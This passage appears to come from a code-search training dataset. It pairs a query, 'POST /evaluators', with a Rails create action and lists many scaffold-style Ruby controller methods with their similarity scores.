Eval.new\n respond_with(@eval)\n end", "def new\n @score_evaluation = ScoreEvaluation.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @score_evaluation }\n end\n end", "def new\n @formula = Formula.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @formula }\n end\n end", "def new\n @performs_at = PerformsAt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @performs_at }\n end\n end", "def new\n\t\teval(\"@#{controller_name.singularize} = #{controller_name.classify}.new\")\n\t\t\n\t\tnew_callback\n\t\t\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => eval(\"@#{controller_name}\") }\n end\n end", "def new\n @checkpoint = Checkpoint.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @checkpoint }\n end\n end", "def new\n @versioned_jnlp_url = MavenJnlp::VersionedJnlpUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @versioned_jnlp_url }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @prediction = Prediction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prediction }\n end\n end", "def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end", "def new\n @rails_url = RailsUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rails_url }\n end\n end", "def new\n @rule = Rule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rule }\n end\n end", "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notifier }\n end\n end", "def new\r\n @reviewId = params[:review_id]\r\n @review = Review.find(@reviewId)\r\n \r\n @reviewer = TeamMember.find_by_name('Eric Peterson')\r\n\r\n @reviewee_name = @review.TeamMember.name\r\n @reviewer_name = @reviewer.name\r\n\r\n @evaluation = Evaluation.new\r\n @evaluation.Review = @review\r\n @evaluation.TeamMember = @reviewer\r\n\r\n @questions = Question.all\r\n @answers = @questions.compact.map { |q|\r\n @r = Response.new\r\n @r.Evaluation = @evaluation\r\n @r.Question = q\r\n @r.Answer = Answer.new\r\n\r\n @r\r\n }\r\n\r\n @evaluation.answer_set = @answers\r\n \r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @evaluation }\r\n end\r\n end", "def new\n\t\t@extractor = Extractor.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @extractor }\n\t\tend\n\tend", "def new\n @expectation_stem = RiGse::ExpectationStem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @expectation_stem }\n end\n end", "def create\n @eval = Eval.new(params[:eval])\n @eval.save and flash[:notice] = \"Yay! New Eval Created!\"\n respond_with(@eval)\n end", "def new\n @multiplier = Multiplier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @multiplier }\n end\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @score }\n end\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @score }\n end\n end", "def new\n @users = User.find(:all, :conditions => \"role % 5 = 0\", :order => \"fullname\")\n @value = 1\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operator_plan }\n end\n end", "def new\n @predicate = Predicate.new\n\n respond_to do |format|\n format.html { render layout: 'form' }# new.html.erb\n format.json { render json: @predicate }\n end\n end", "def new\n @relatorios = Relatorio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatorios }\n end\n end", "def new\n @assertion = Assertion.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assertion }\n end\n end", "def new\n @checkpoint_removed = CheckpointRemoved.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @checkpoint_removed }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n expire_page :action => :index\n expire_page :action => :show\n \n @ganglia_graph = GangliaGraph.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ganglia_graph }\n end\n end", "def new\n @expectation = Expectation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expectation }\n end\n end", "def new\n @algorithm = Algorithm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @algorithm }\n end\n end", "def new\n @tuple = Tuple.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tuple }\n end\n end", "def new\n @interpret = Interpret.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @interpret }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_runner }\n end\n end", "def new\n @researcher = Researcher.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @researcher }\n end\n end", "def create\n @evaluations = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'evaluation was successfully created.' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end", "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end", "def new\n @research = Research.new\n @page_title = \"Request research from White House 2 members\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @research.to_xml(:except => [:email]) }\n end\n end", "def new\n @retain_node = RetainNode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @retain_node }\n format.json { render :json => @retain_node }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end", "def new\n @requisition = Requisition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @requisition }\n end\n end", "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end", "def new\n @prime = Prime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prime }\n end\n end", "def new\n @xml_sample = XmlSample.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @xml_sample }\n end\n end", "def new\n @prior = Prior.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prior }\n format.csv { render :csv => @prior }\n format.json { render :json => @prior }\n end\n end", "def new\n @specification = Specification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @specification }\n end\n end", "def new\n @simulation = Simulation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @simulation }\n end\n end", "def new\n @test_score = @participant.test_scores.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @test_score }\n end\n end", "def new\n @trabajo = Trabajo.find(params[:trabajo_id])\n @evaluacion = @trabajo.build_evaluacion\n\n @path = [@trabajo, @evaluacion]\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @evaluacion }\n end\n end", "def new\n @experiment = Experiment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @experiment }\n end\n end", "def new\n @experiment = Experiment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @experiment }\n end\n end", "def new\n @result = Result.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @result }\n end\n end", "def new\n @result = Result.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @result }\n end\n end", "def new\n @election = Election.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @election }\n end\n end", "def new\n @resp = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resp }\n end\n end", "def new\n @gene_ontology = GeneOntology.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gene_ontology }\n end\n end", "def new\n @reviewer = Reviewer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reviewer }\n end\n end", "def new\n @versioned_jnlp = MavenJnlp::VersionedJnlp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @versioned_jnlp }\n end\n end", "def new\n @risk_probability = RiskProbability.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @risk_probability }\n end\n end", "def new\n @qc_evaluation = QcEvaluation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @qc_evaluation }\n end\n end", "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'Avaliação criada.' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @training_class }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @training_class }\n end\n end", "def new\n @new_policy = NewPolicy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_policy }\n end\n end", "def new\n @run = Run.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @run }\n end\n end", "def new\n @rank_algorithm = RankAlgorithm.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rank_algorithm }\n end\n end", "def new\n @intelligence = Intelligence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @intelligence }\n end\n end", "def new\n @numbering_rule = NumberingRule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @numbering_rule }\n end\n end", "def new\n @estacion = Estacion.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estacion }\n end\n end", "def new\n @crawl_result = Crawl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @crawl_result }\n end\n end", "def new\n @lookup_scantask = LookupScantask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_scantask }\n end\n end", "def new\n @prerequisite = Prerequisite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prerequisite }\n end\n end", "def new\n @scratch = Scratch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scratch }\n end\n end", "def new\n @whitelist = Whitelist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @whitelist }\n end\n end", "def new\n @approval = Approval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @approval }\n end\n end", "def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end", "def new\n @history_point = HistoryPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @history_point }\n end\n end", "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @evaluation }\n else\n format.html { render action: 'new' }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @evaluation }\n else\n format.html { render action: 'new' }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6955858", "0.6865809", "0.65242964", "0.6502246", "0.63965094", "0.63796264", "0.63490623", "0.6337453", "0.62919426", "0.62830216", "0.62442833", "0.62144375", "0.62033117", "0.6198021", "0.61828005", "0.6175798", "0.615987", "0.6137036", "0.6128745", "0.6126429", "0.61233854", "0.61085796", "0.61064273", "0.6096888", "0.6095087", "0.60891503", "0.60255605", "0.60218346", "0.600438", "0.6004206", "0.59985465", "0.59977925", "0.59926355", "0.597527", "0.59740835", "0.59699625", "0.59493786", "0.59444207", "0.5943692", "0.5934913", "0.5934913", "0.5931141", "0.59310126", "0.59253204", "0.5924445", "0.59206706", "0.5915654", "0.5915654", "0.591377", "0.5911601", "0.59076935", "0.58992904", "0.589074", "0.5889453", "0.58790004", "0.58761954", "0.587334", "0.587334", "0.5869722", "0.58696336", "0.5864743", "0.58437216", "0.58430266", "0.58356696", "0.58355767", "0.5829716", "0.5828083", "0.58197546", "0.5816918", "0.58136714", "0.5812188", "0.5812188", "0.58099514", "0.58099514", "0.58071613", "0.5804899", "0.579988", "0.5797758", "0.5796426", "0.57920134", "0.57909477", "0.57887614", "0.5781545", "0.5781545", "0.5778752", "0.5778487", "0.57760227", "0.5774373", "0.57738566", "0.5769556", "0.5769531", "0.5768267", "0.5766601", "0.5762717", "0.57610196", "0.5757057", "0.5754468", "0.57542276", "0.5754205", "0.5754205" ]
0.6346291
7
POST /evaluators POST /evaluators.xml
def create @evaluator.owner_id = current_user.id @evaluator.accessible = [:owner_id] if can? :transfer, @evaluator # free to give others an evaluator to own @evaluator.attributes = params[:evaluator] respond_to do |format| if @evaluator.save format.html { redirect_to(@evaluator, :notice => 'Evaluator was successfully created.') } format.xml { render :xml => @evaluator, :status => :created, :location => @evaluator } else format.html { render :action => "new" } format.xml { render :xml => @evaluator.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @evaluators }\n end\n end", "def post_evaluate(excon, body)\n excon.request(\n method: :post,\n path: '/evaluate',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend", "def create\n @evaluacione = Evaluacione.new(params[:evaluacione])\n\n respond_to do |format|\n if @evaluacione.save\n format.html { redirect_to(@evaluacione, :notice => 'Evaluacione was successfully created.') }\n format.xml { render :xml => @evaluacione, :status => :created, :location => @evaluacione }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @evaluacione.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\r\n @evaluation = Evaluation.new(params[:evaluation])\r\n @answers = @evaluation.responses\r\n\r\n respond_to do |format|\r\n if @evaluation.save && @answers.each{|a| a.save }.all?\r\n format.html { redirect_to(@evaluation, :notice => 'Evaluation was successfully created.') }\r\n format.xml { render :xml => @evaluation, :status => :created, :location => @evaluation }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @evaluation.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @evaluations = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'evaluation was successfully created.' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_and_run(options)\n options[:eval_response] = true\n\n self.post options\n end", "def create\r\n @evaluacione = Evaluacione.new(evaluacione_params)\r\n\r\n respond_to do |format|\r\n if @evaluacione.save\r\n format.html { redirect_to @evaluacione, notice: 'Evaluacione was successfully created.' }\r\n format.json { render :show, status: :created, location: @evaluacione }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @evaluacione.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @eval = Eval.new(params[:eval])\n @eval.save and flash[:notice] = \"Yay! New Eval Created!\"\n respond_with(@eval)\n end", "def create\n @evaluation = Evaluation.new(params[:evaluation])\n\n respond_to do |format|\n if @evaluation.save\n flash[:notice] = 'Evaluation was successfully created.'\n format.html { redirect_to(@evaluation) }\n format.xml { render :xml => @evaluation, :status => :created, :location => @evaluation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @evaluation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def evals_questions evaluation_id\n call_path = \"evals/questions\"\n request = {\"evaluationID\": evaluation_id}.to_json\n data = build_post_data(request)\n perform_post(build_url(call_path), data)\n end", "def evaluations(id)\n connection.get do |req|\n req.url \"job/#{id}/evaluations\"\n end\n end", "def evaluation_params\n params.require(:evaluation).permit(:collection, :resource, :body, :result, :executor, :title, :metrics, :subject)\n end", "def evaluation_params\n params.require(:evaluation).permit(:collection, :resource, :body, :result, :executor, :title, :metrics, :subject)\n end", "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully created.' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n if @evaluation.save\n render :show, status: :created\n else\n render json: @evaluation.errors, status: :unprocessable_entity\n end\n end", "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'Avaliação criada.' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @evaluation = Evaluation.new(evaluation_params)\n @evaluation.collection = evaluation_params[:collection]\n \n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: \"Evaluation was successfully created.\" }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @evaluation }\n else\n format.html { render action: 'new' }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @evaluation }\n else\n format.html { render action: 'new' }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @evaluation = Evaluation.new\n\t\t\n\t\tif request.post?\n\t\t\tevaluator = Evaluator.first(:conditions => ['email = ?', params[:evaluator]])\n\t\t\tif evaluator.nil?\n\t\t\t\tevaluator = Evaluator.create({:email => params[:evaluator]})\n\t\t\tend\n\t\t\t\n\t\t\t@evaluation.evaluator = evaluator\n\t\t\t@evaluation.citation = Citation.find(params[:citation_id])\n\t\t\t@evaluation.result = params[:evaluation]\n\t\t\t@evaluation.parser = params[:parser]\n\t\t\t@evaluation.save\n\t\tend\n\t\t\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @evaluation }\n end\n end", "def create\n \n \n @evaluation = @course.evaluations.new(evaluation_params)\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to course_evaluation_path(@course,@evaluation) , notice: 'La evaluación fue creada con éxito.' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @evaluo = Evaluo.new(evaluo_params)\n\n respond_to do |format|\n if @evaluo.save\n format.html { redirect_to @evaluo, notice: 'Evaluo was successfully created.' }\n format.json { render :show, status: :created, location: @evaluo }\n else\n format.html { render :new }\n format.json { render json: @evaluo.errors, status: :unprocessable_entity }\n end\n end\n end", "def evaluate(id)\n connection.post do |req|\n req.url \"job/#{id}/evaluate\"\n end\n end", "def create\n @evaluation_criterium = EvaluationCriterium.new(params[:evaluation_criterium])\n\n respond_to do |format|\n if @evaluation_criterium.save\n format.html { redirect_to @evaluation_criterium, notice: 'Evaluation criterium was successfully created.' }\n format.json { render json: @evaluation_criterium, status: :created, location: @evaluation_criterium }\n else\n format.html { render action: \"new\" }\n format.json { render json: @evaluation_criterium.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @evaluates = Evaluate.all\n end", "def _eval_post\n _eval_action('post')\n end", "def create\n @user_evaluation = ::UserEvaluation.new(user_evaluation_params)\n @user_evaluation.evaluation = @evaluation\n @user_evaluation.account = current_user.account\n \n if @user_evaluation.save\n render json: @user_evaluation, status: :created, \n serializer: ::Admin::Evaluation::UserEvaluationSerializer\n else\n render json: @user_evaluation.errors, status: :unprocessable_entity\n end\n end", "def send_evaluate_prop\n task = @proposal.evaluate_proposals.create\n task.workbench = Organization.find params[:organization][:organization_id]\n task.save\n redirect_to :action => \"pending\"\n end", "def create\n @evaluation = current_customer.customer_evaluations.new(evaluation_params)\n if params['clone'] == 'true'\n @evaluation = @evaluation.clone_last_evaluation\n @evaluation.name = params[:evaluation][:name]\n @evaluation.status = Evaluation::STATUSES.index(\"draft\")\n @evaluation.published_at = nil\n end\n\n if params[:testing] == 'true'\n @evaluation = Evaluation.sample_evaluation.clone_evaluation\n @evaluation.name = params[:evaluation][:name]\n @evaluation.status = Evaluation::STATUSES.index(\"draft\")\n @evaluation.published_at = nil\n @evaluation.distinguish_type = Evaluation::TYPES.index(:sandbox)\n end\n\n @evaluation.company_id = current_company.id\n @evaluation.customer_id = current_customer.id\n @evaluation.created_by = current_user.id\n\n respond_to do |format|\n if @evaluation.save\n @evaluation.create_default_evaluation_services if params['clone'] != 'true'\n format.html {redirect_to customer_evaluation_path(current_customer, @evaluation), notice: I18n.t('evaluations.messages.successfully_created')}\n format.json {render json: @evaluation, status: :created, location: @evaluation}\n else\n format.html {render action: \"new\"}\n format.json {render json: @evaluation.errors, status: :unprocessable_entity}\n end\n end\n end", "def create\n @evaluate = Evaluate.new(evaluate_params)\n @evaluate.user_id= current_user.id\n @evaluate.review_id = @review.id\n\n respond_to do |format|\n if @evaluate.save\n format.html { redirect_to @review, notice: 'Evaluate was successfully created.' }\n format.json { render :show, status: :created, location: @evaluate }\n else\n format.html { render :new }\n format.json { render json: @evaluate.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_evaluacion\n @evaluacions = Evaluacion.find(params[:id])\n end", "def evaluation\n @api_v1_reservation.evaluate(evaluation_params[:comment], evaluation_params[:rating].to_i) unless @api_v1_reservation.evaluation\n render json: { success: true }, status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end", "def destroy\n @evaluator.destroy\n\n respond_to do |format|\n format.html { redirect_to(evaluators_url) }\n format.xml { head :ok }\n end\n end", "def create\n @evaluacion_servicio = EvaluacionServicio.new(evaluacion_servicio_params)\n \n respond_to do |format|\n if @evaluacion_servicio.save\n format.html { redirect_to servicio_sociales_path, notice: 'Evaluacion servicio was successfully created.' }\n format.json { render :show, status: :created, location: @evaluacion_servicio }\n else\n format.html { render :new }\n format.json { render json: @evaluacion_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @evaluations = Evaluation.all\n @evaluation = Evaluation.new\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\n @evaluations = Evaluation.all\n end", "def index\r\n @evaluaciones = Evaluacione.all\r\n end", "def evaluate\n response = Quiz.find(params[:quiz_id]).evaluate(params[:questions], current_user)\n @answers = response[:answers]\n @nota = response[:grade]\n\n respond_to do |format|\n format.html { render 'evaluate' }\n end\n end", "def post\n frm.button(:name=>\"post\").click\n AssignmentsList.new(@browser)\n end", "def evaluate\n\n end", "def set_evaluacione\r\n @evaluacione = Evaluacione.find(params[:id])\r\n end", "def new\n @evaluacione = Evaluacione.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evaluacione }\n end\n end", "def create\n @evaluation = Evaluation.new(evaluation_params)\n\n if @evaluation.save\n redirect_to action: \"index\", notice: 'Evaluation was successfully created.' \n else\n @evaluations = Evaluation.all\n\n render :new, locals: {evaluation: @evaluation, evaluations: @evaluations } \n end\n end", "def evaluation_params\n params.require(:evaluation).permit(:value, :study_case_id, :user_id)\n end", "def evaluation_params\n params.require(:evaluation).permit(:date, :time, :event, :name, :team, :parent, :email, :bodypart, :left, :right, :subjective, :visual, :palpation, :rom, :mmt, :neurological, :specialtests, :functionaltesting, :assessment, :plan, :rice, :taping, :mdreferral, :crutches, :instruction, :screen, :erreferral, :hospitalname, :notifiedparent, :whomnotified, :datetime)\n end", "def index\n @evaluations = Evaluation.all\n end", "def evals_types\n call_path = \"evals/types\"\n data = build_post_data(\"\")\n perform_post(build_url(call_path), data)\n end", "def evaluation_params\n params.require(:evaluation).permit(:moyenne, :annee_scolaire, :matiere, :periode, :coefficient)\n end", "def create\n @anstoeval = Anstoeval.new(anstoeval_params)\n\n respond_to do |format|\n if @anstoeval.save\n format.html { redirect_to @anstoeval, notice: 'anstoeval was successfully created.' }\n format.json { render :show, status: :created, location: @anstoeval }\n else\n format.html { render :new }\n format.json { render json: @anstoeval.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_evaluacion\n @evaluacion = Evaluacion.find(params[:id])\n end", "def evaluate_params\n params.require(:evaluate).permit(:rating, :comment)\n end", "def index\n @evals = Eval.all\n respond_with(@evals) \n end", "def test_create\n #create a new resourceset\n post :create, :exp=> 'SemanticExpression.new.union(:s,Namespace.lookup(:rdf,:type),Namespace.lookup(:rdfs,:Class))'\n assert @controller.resourceset.resources.size > 0 #assert that set was remove\n assert_response :success #assert that the request was executed successful\n \n end", "def evaluation_params\n params.permit(:evaluation, :evaluator_id, :evaluee_id, :project_id, :comment, :team_id)\n end", "def collaborators_evaluation\n require_collaborator_params\n\n create_metric(\n @cookbook_version,\n QualityMetric.collaborator_num_metric,\n params[:collaborator_failure],\n params[:collaborator_feedback]\n )\n\n head 200\n end", "def collaborators_evaluation\n require_collaborator_params\n\n create_metric(\n @cookbook_version,\n QualityMetric.collaborator_num_metric,\n params[:collaborator_failure],\n params[:collaborator_feedback]\n )\n\n head 200\n end", "def update\n unless @submission.evaluated.blank?\n respond_to do |format|\n format.html { redirect_to test_submission_path(@test, @submission), info: \"Evaluated!\" }\n end\n return\n end\n\n unless Time.now > @timeout + 5.seconds\n @submission.answers_of_questions.each do |user_answer|\n user_answer.update(choice: submission_params.fetch(user_answer.answer_id.to_s, \"false\"))\n end\n end\n if Time.now > @timeout || params[:evaluate]\n @test.questions.each do |question|\n crrct = get_result(question)\n @submission.increment!(:point, question.point) if crrct\n @submission.question_evaluations.create({question_id: question.id, value: crrct})\n end\n @submission.update(evaluated: true)\n respond_to do |format|\n format.html { redirect_to test_submission_path(@test, @submission) }\n end\n else\n respond_to do |format|\n format.html { redirect_to submissions_path, success: 'Submission was successfully saved.' }\n end\n end\n\n end", "def create\n @psicologic_evaluation = PsicologicEvaluation.new(psicologic_evaluation_params)\n\n respond_to do |format|\n if @psicologic_evaluation.save\n format.html { redirect_to @psicologic_evaluation, notice: 'Psicologic evaluation was successfully created.' }\n format.json { render :show, status: :created, location: @psicologic_evaluation }\n else\n format.html { render :new }\n format.json { render json: @psicologic_evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def evaluation_params\n params.require(:evaluation).permit(:usuario_avaliado_id, :usuario_avaliador_id, :date, :done, :evaluation_model_id)\n end", "def evaluate\n # First up validations\n @validations.each do |validate|\n next if validate.call\n return @xml\n end\n # Those passed, so next up is actual operations\n @operations.each do |operation|\n operation.call\n end\n return @xml\n end", "def post\n frm.button(:value=>\"Post\").click\n AssignmentsList.new(@browser)\n end", "def user_evaluation_params\n params.require(:user_evaluation).permit(:evaluator_id)\n end", "def new\n @evaluations = Evaluation.new\n end", "def evaluation_params\n params.require(:evaluation).permit(:candidate_id, :user_id, :attitude_id, :intention_id, :production_id, :localization_id, :comment, :boost)\n end", "def evaluation_params\n params.require(:evaluation).permit(:date_evaluation, :typeevaluation, :cla_id, :matiere_id, :anneeacademique_id, :user_id)\n end", "def create\n @score_evaluation = ScoreEvaluation.new(params[:score_evaluation])\n \n respond_to do |format|\n if @score_evaluation.save\n format.html { redirect_to @score_evaluation, :notice => t('selecao_admin.flash_messages.successfully_created.', :model => @score_evaluation.class.model_name.human) }\n format.json { render :json => @score_evaluation, :status => :created, :location => @score_evaluation }\n format.js\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @score_evaluation.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end", "def create\n \n if ENV[\"NEW_EVALUATION\"] == nil\n raise ActionController::RoutingError\n return\n end\n @entry = Entry.find(params[:id])\n @evaluation = @entry.evaluations.find_by(school_num:params[:evaluation][:school_num])\n success_flag = true\n begin \n if(@evaluation == nil)then\n \n @evaluation = Evaluation.create(evaluation_params)\n @entry.evaluations<<@evaluation\n else\n success_flag = @evaluation.update(evaluation_params)\n end\n rescue\n success_flag = false\n end\n\n if @evaluation.id == nil\n # @evaluation = Evaluation.new\n success_flag = false\n end\n respond_to do |format|\n if success_flag == true\n format.html { redirect_to @evaluation, notice: 'Evaluation was successfully created.' }\n format.json { render :show, status: :created, location: @evaluation }\n else\n format.html { redirect_to \"/evaluations/\"+params[:id].to_s + \"/new\", json: @evaluation.errors}\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end", "def evaluation_params\n 